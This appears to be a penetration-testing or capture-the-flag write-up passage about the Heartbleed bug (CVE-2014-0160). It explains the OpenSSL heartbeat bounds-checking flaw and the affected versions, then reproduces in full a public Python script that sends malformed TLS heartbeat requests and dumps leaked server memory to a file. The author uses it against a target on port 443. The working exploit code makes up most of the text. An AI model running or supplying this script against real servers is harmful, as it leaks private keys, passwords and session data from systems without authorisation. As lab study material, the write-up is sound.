Heart Bleed Bug
A serious vulnerability in the popular OpenSSL cryptographic software library. Implementation of the heartbeat extension (RFC6520) within the library leads to the leak of memory contents from the server to the client and from the client to the server.
status of different versions:
- OpenSSL 1.0.1 through 1.0.1f (inclusive) are vulnerable (14 March 2012)
- OpenSSL 1.0.1g is NOT vulnerable (7th of April 2014)
- OpenSSL 1.0.0 branch is NOT vulnerable
- OpenSSL 0.9.8 branch is NOT vulnerable
the affected versions of openssl allocate a memory buffer for the message to be returned based on the length field in the requesting message, without regard to the actual size of that message’s payload. Because of this failure to do proper bounds checking, the message returned consists of the payload, possibly followed by whatever else happened to be in the allocated memory buffer.
Heartbleed is therefore exploited by sending a malformed heartbeat request with a small payload and large length field to the vulnerable party (usually a server) in order to elicit the victim’s response, permitting attackers to read up to 64 kilobytes of the victim’s memory that was likely to have been used previously by OpenSSL. Where a Heartbeat Request might ask a party to “send back the four-letter word ‘bird’”, resulting in a response of “bird”, a “Heartbleed Request” (a malicious heartbeat request) of “send back the 500-letter word ‘bird’” would cause the victim to return “bird” followed by whatever 496 subsequent characters the victim happened to have in active memory. Attackers in this way could receive sensitive data, compromising the confidentiality of the victim’s communications. Although an attacker has some control over the disclosed memory block’s size, it has no control over its location, and therefore cannot choose what content is revealed.
heartbleed.py
As previously discovered, the target web server on port 443 is vulnerable to the Heart Bleed bug I looked more into it to find out how I could exploit this.
I then came across this test/exploit package online.
#!/usr/bin/python
# Quick and dirty demonstration of CVE-2014-0160 originally by Jared Stafford (jspenguin@jspenguin.org)
# The author disclaims copyright to this source code.
# Modified by SensePost based on lots of other people's efforts (hard to work out credit via PasteBin)
from __future__ import print_function
from builtins import str
from builtins import range
import sys
import struct
import socket
import time
import select
import re
from optparse import OptionParser
import smtplib
options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')
options.add_option('-n', '--num', type='int', default=1, help='Number of heartbeats to send if vulnerable (defines how much memory you get back) (default: 1)')
options.add_option('-f', '--file', type='str', default='dump.bin', help='Filename to write dumped memory too (default: dump.bin)')
options.add_option('-q', '--quiet', default=False, help='Do not display the memory dump', action='store_true')
options.add_option('-s', '--starttls', action='store_true', default=False, help='Check STARTTLS (smtp only right now)')
def h2bin(x):
return x.replace(' ', '').replace('\n', '').decode('hex')
hello = h2bin('''
16 03 02 00 dc 01 00 00 d8 03 02 53
43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00
00 0f 00 01 01
''')
hbv10 = h2bin('''
18 03 01 00 03
01 40 00
''')
hbv11 = h2bin('''
18 03 02 00 03
01 40 00
''')
hbv12 = h2bin('''
18 03 03 00 03
01 40 00
''')
def hexdump(s, dumpf, quiet):
dump = open(dumpf,'a')
dump.write(s)
dump.close()
if quiet: return
for b in range(0, len(s), 16):
lin = [c for c in s[b : b + 16]]
hxdat = ' '.join('%02X' % ord(c) for c in lin)
pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)
print(' %04x: %-48s %s' % (b, hxdat, pdat))
print()
def recvall(s, length, timeout=5):
endtime = time.time() + timeout
rdata = ''
remain = length
while remain > 0:
rtime = endtime - time.time()
if rtime < 0:
if not rdata:
return None
else:
return rdata
r, w, e = select.select([s], [], [], 5)
if s in r:
data = s.recv(remain)
# EOF?
if not data:
return None
rdata += data
remain -= len(data)
return rdata
def recvmsg(s):
hdr = recvall(s, 5)
if hdr is None:
print('Unexpected EOF receiving record header - server closed connection')
return None, None, None
typ, ver, ln = struct.unpack('>BHH', hdr)
pay = recvall(s, ln, 10)
if pay is None:
print('Unexpected EOF receiving record payload - server closed connection')
return None, None, None
print(' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay)))
return typ, ver, pay
def hit_hb(s, dumpf, host, quiet):
while True:
typ, ver, pay = recvmsg(s)
if typ is None:
print('No heartbeat response received from '+host+', server likely not vulnerable')
return False
if typ == 24:
if not quiet: print('Received heartbeat response:')
hexdump(pay, dumpf, quiet)
if len(pay) > 3:
print('WARNING: server '+ host +' returned more data than it should - server is vulnerable!')
else:
print('Server '+host+' processed malformed heartbeat, but did not return any extra data.')
return True
if typ == 21:
if not quiet: print('Received alert:')
hexdump(pay, dumpf, quiet)
print('Server '+ host +' returned error, likely not vulnerable')
return False
def connect(host, port, quiet):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
if not quiet: print('Connecting...')
sys.stdout.flush()
s.connect((host, port))
return s
def tls(s, quiet):
if not quiet: print('Sending Client Hello...')
sys.stdout.flush()
s.send(hello)
if not quiet: print('Waiting for Server Hello...')
sys.stdout.flush()
def parseresp(s):
while True:
typ, ver, pay = recvmsg(s)
if typ == None:
print('Server closed connection without sending Server Hello.')
return 0
# Look for server hello done message.
if typ == 22 and ord(pay[0]) == 0x0E:
return ver
def check(host, port, dumpf, quiet, starttls):
response = False
if starttls:
try:
s = smtplib.SMTP(host=host,port=port)
s.ehlo()
s.starttls()
except smtplib.SMTPException:
print('STARTTLS not supported...')
s.quit()
return False
print('STARTTLS supported...')
s.quit()
s = connect(host, port, quiet)
s.settimeout(1)
try:
re = s.recv(1024)
s.send('ehlo starttlstest\r\n')
re = s.recv(1024)
s.send('starttls\r\n')
re = s.recv(1024)
except socket.timeout:
print('Timeout issues, going ahead anyway, but it is probably broken ...')
tls(s,quiet)
else:
s = connect(host, port, quiet)
tls(s,quiet)
version = parseresp(s)
if version == 0:
if not quiet: print("Got an error while parsing the response, bailing ...")
return False
else:
version = version - 0x0300
if not quiet: print("Server TLS version was 1.%d\n" % version)
if not quiet: print('Sending heartbeat request...')
sys.stdout.flush()
if (version == 1):
s.send(hbv10)
response = hit_hb(s,dumpf, host, quiet)
if (version == 2):
s.send(hbv11)
response = hit_hb(s,dumpf, host, quiet)
if (version == 3):
s.send(hbv12)
response = hit_hb(s,dumpf, host, quiet)
s.close()
return response
def main():
opts, args = options.parse_args()
if len(args) < 1:
options.print_help()
return
print('Scanning ' + args[0] + ' on port ' + str(opts.port))
for i in range(0,opts.num):
check(args[0], opts.port, opts.file, opts.quiet, opts.starttls)
if __name__ == '__main__':
main()Moving to the Exploitation phase